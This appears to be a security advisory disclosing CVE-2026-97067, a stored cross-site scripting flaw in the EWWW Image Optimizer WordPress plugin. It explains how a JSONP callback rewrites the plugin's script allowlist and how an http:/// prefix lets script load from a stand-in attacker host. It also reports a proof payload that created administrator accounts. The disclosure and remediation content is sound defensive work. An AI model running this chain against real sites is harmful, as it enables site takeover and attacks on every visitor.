CVE-2026-97067 Turning a working allowlist into a wildcard in EWWW Image Optimizer
Intrudify's autonomous pentesting engine discovered a stored cross-site scripting vulnerability in EWWW Image Optimizer, affecting all versions up to and including 8.7.7. The plugin's lazy-load bundle converts a data-script attribute into an injected script tag, guarded by a domain allowlist added in 8.7.4 for exactly this reason. That allowlist is present and working. Three separate defects combine to route around it and turn it into a wildcard.
Summary
EWWW Image Optimizer's Lazy Load feature ships the lazysizes unveilhooks add-on, which turns the data-script attribute of any element carrying class="lazyload" into an injected <script src="...">. Both class and data-* attributes survive wp_kses_post, so a Contributor can place them in post content.
Version 8.7.4 added a JavaScript domain allowlist, seeded with the site's own host, to close CVE-2026-15446. That control is not broken. We verified on 8.7.7 that a direct cross-origin data-script reference is blocked and no request is issued. This finding defeats it by a different route.
The vulnerable check
In includes/ls.unveilhooks.js, and bundled byte-identically in the lazysizes.min.js that is actually enqueued:
var safeDomains = lazySizes.cfg.safeDomains;
var validSrc = false;
for(var i = 0; i < safeDomains.length; i++){
if(src.startsWith('http://' + safeDomains[i] + '/')
|| src.startsWith('https://' + safeDomains[i] + '/')){
validSrc = true; break;
}
}
if(!validSrc){ return; }
var elem = document.createElement(style ? 'link' : 'script');
...
elem.src = src;Three properties of that loop matter, and each one is a separate defect.
The three defects
- Same-origin is not the same as trustworthy The allowlist is seeded with the site's own host, so the check is effectively a same-origin test. But WordPress core ships an unauthenticated, same-origin endpoint that returns
Content-Type: application/javascriptwith an attacker-chosen callback name: the REST API's JSONP mode./?rest_route=/wp/v2/posts&_jsonp=<CALLBACK> → /**/<CALLBACK>({...})That alone is already JavaScript execution in the site's origin. A single element with_jsonp=alertfires on 8.7.7 with the allowlist in place, because the endpoint is same-origin and therefore permitted. - The allowlist is a page-writable global, re-read on every call
lazySizes.cfg.safeDomainsis read fresh each time the function runs, and any script in the page can modify it. Combined with the previous defect, the attacker chooses the JSONP callback name, and a callback name is just a path to a function:_jsonp=lazySizes.cfg.safeDomains.pushThe response calls that function with the endpoint's JSON payload as its argument, appending a new entry to the allowlist at runtime. - Entries are concatenated as strings, not compared as hosts The check builds a prefix by string concatenation. Push a value whose string form is empty, and the accepted prefix becomes
http:///. In JavaScript,String([])is the empty string, so an empty array is sufficient. Per the WHATWG URL specification, the special-authority-ignore-slashes state skips all consecutive slashes. Sohttp:///attacker.example/x.jsparses to the hostattacker.examplewhile still matching thehttp:///prefix. The allowlist has become a wildcard. This is not a quirk of one browser. We measured the resolution and a real<script src>request in Chromium, Firefox and WebKit, and confirmed the parse independently against Node's ada URL parser.
The chain in practice
A Contributor stores a post containing two kinds of element. The first references the JSONP endpoint with lazySizes.cfg.safeDomains.push as the callback. Several others, placed below the fold behind filler content, reference http:///attacker.example/....
The post is submitted as pending, since a Contributor cannot publish. It does not fire in preview, because the plugin skips preview pages, so an editor reviewing the submission sees nothing. It fires once published.
When a visitor scrolls, the first element loads the same-origin JSONP script, which appends the empty entry to the allowlist. The below-fold elements then pass the prefix test, and the attacker's script is injected and executes in the site's origin.
Impact
Arbitrary attacker-hosted JavaScript executes in the site's origin, from Contributor-authored post content, on the current release with the 8.7.4 control in place. Every visitor to the published post is affected, not only privileged ones.
To demonstrate that this is genuine script execution rather than HTML-only injection, our test payload creates a new administrator account when the visitor happens to be a logged-in administrator. We reproduced that three times out of three and confirmed the new account in the user list. That is offered as proof of execution rather than as a claim about the severity score.
Conditions and controls
Three conditions bound the finding, and we state them because they affect how the vector is scored rather than whether it works.
The attacker elements must sit below the fold and the visitor must scroll to them. Without scrolling, the first stage mutates the allowlist but the later elements never unveil. That is why the vector carries a user-interaction requirement.
Lazy Load must be enabled, and the plugin's own page checks return early on customize-preview, AMP, embed, feed and preview pages, and when a particular default theme is active. The finding is inert in those cases.
As a control, a direct cross-origin reference with no chain is correctly blocked on 8.7.7 and issues no request. The behaviour is attributable to the bypass rather than to the allowlist being absent.
Remediation
Update EWWW Image Optimizer to 8.8.0 or later.
For maintainers, each of the three defects is independently worth fixing. Compare parsed URL hosts rather than string prefixes, using the URL constructor, so that http:///attacker.example/ is evaluated on its resolved host rather than its literal text. Hold the allowlist in a closure rather than on a page-writable global, so a loaded script cannot extend it. And reject non-string entries outright, so a value whose string form is empty can never widen the prefix.
The wider lesson
The most transferable point has nothing to do with this plugin. Any WordPress code that treats its own origin as a safe source for scripts is defeated by core's REST JSONP mode, which is unauthenticated, same-origin, returns a JavaScript content type, and lets the caller name the function to invoke. A same-origin allowlist protecting a script sink is therefore not a control at all on a default WordPress install. That is worth checking wherever a plugin allowlists home_url() and injects scripts.
The second point is about prefix tests. Comparing the beginning of a URL string is not comparing a host, and URL parsing is full of shapes that a string test does not anticipate. Here the gap is the specification's handling of consecutive slashes, which every conforming parser implements identically, so the bypass is portable rather than browser-specific. Whenever code decides on the identity of a URL, it should parse the URL and inspect the field it cares about.
The third is that a security control kept in mutable page state is only as strong as the weakest thing that can run before it is read. An allowlist re-read on every call, stored where loaded scripts can reach it, converts one bounded script execution into unbounded execution.
Worth noting for anyone auditing patched code: 8.7.4 fixed a real vulnerability with a real control, and 8.7.7 still enforced it correctly. A fix that works is not the same as a sink that is closed, and the presence of a recent patch is a reason to look harder at a sink rather than to consider it settled.
Disclosure timeline
- 2026-09-17 Vulnerability identified and full chain validated by Intrudify, reported via Patchstack
- 2026-09-30 Public disclosure · CVE-2026-97067 assigned
Questions
What is CVE-2026-97067?
CVE-2026-97067 is a stored cross-site scripting vulnerability in the EWWW Image Optimizer WordPress plugin, versions 8.7.7 and earlier. It was discovered autonomously by the Intrudify AI penetration testing engine. The plugin's lazy-load script turns a data-script attribute into an injected script tag, and three separate defects combine to defeat the domain allowlist that was added in 8.7.4 to prevent exactly that.
Does the 8.7.4 allowlist fix stop CVE-2026-97067?
No. The allowlist added in 8.7.4 is present and functioning in 8.7.7, and a direct cross-origin script reference is correctly blocked. This vulnerability defeats it by a different route, using WordPress core's own same-origin JSONP endpoint to modify the allowlist at runtime.
How do I fix CVE-2026-97067?
Update EWWW Image Optimizer to version 8.8.0 or later. The underlying fix is to compare parsed URL hosts against the allowlist rather than testing string prefixes, and to hold the allowlist somewhere a page cannot write to.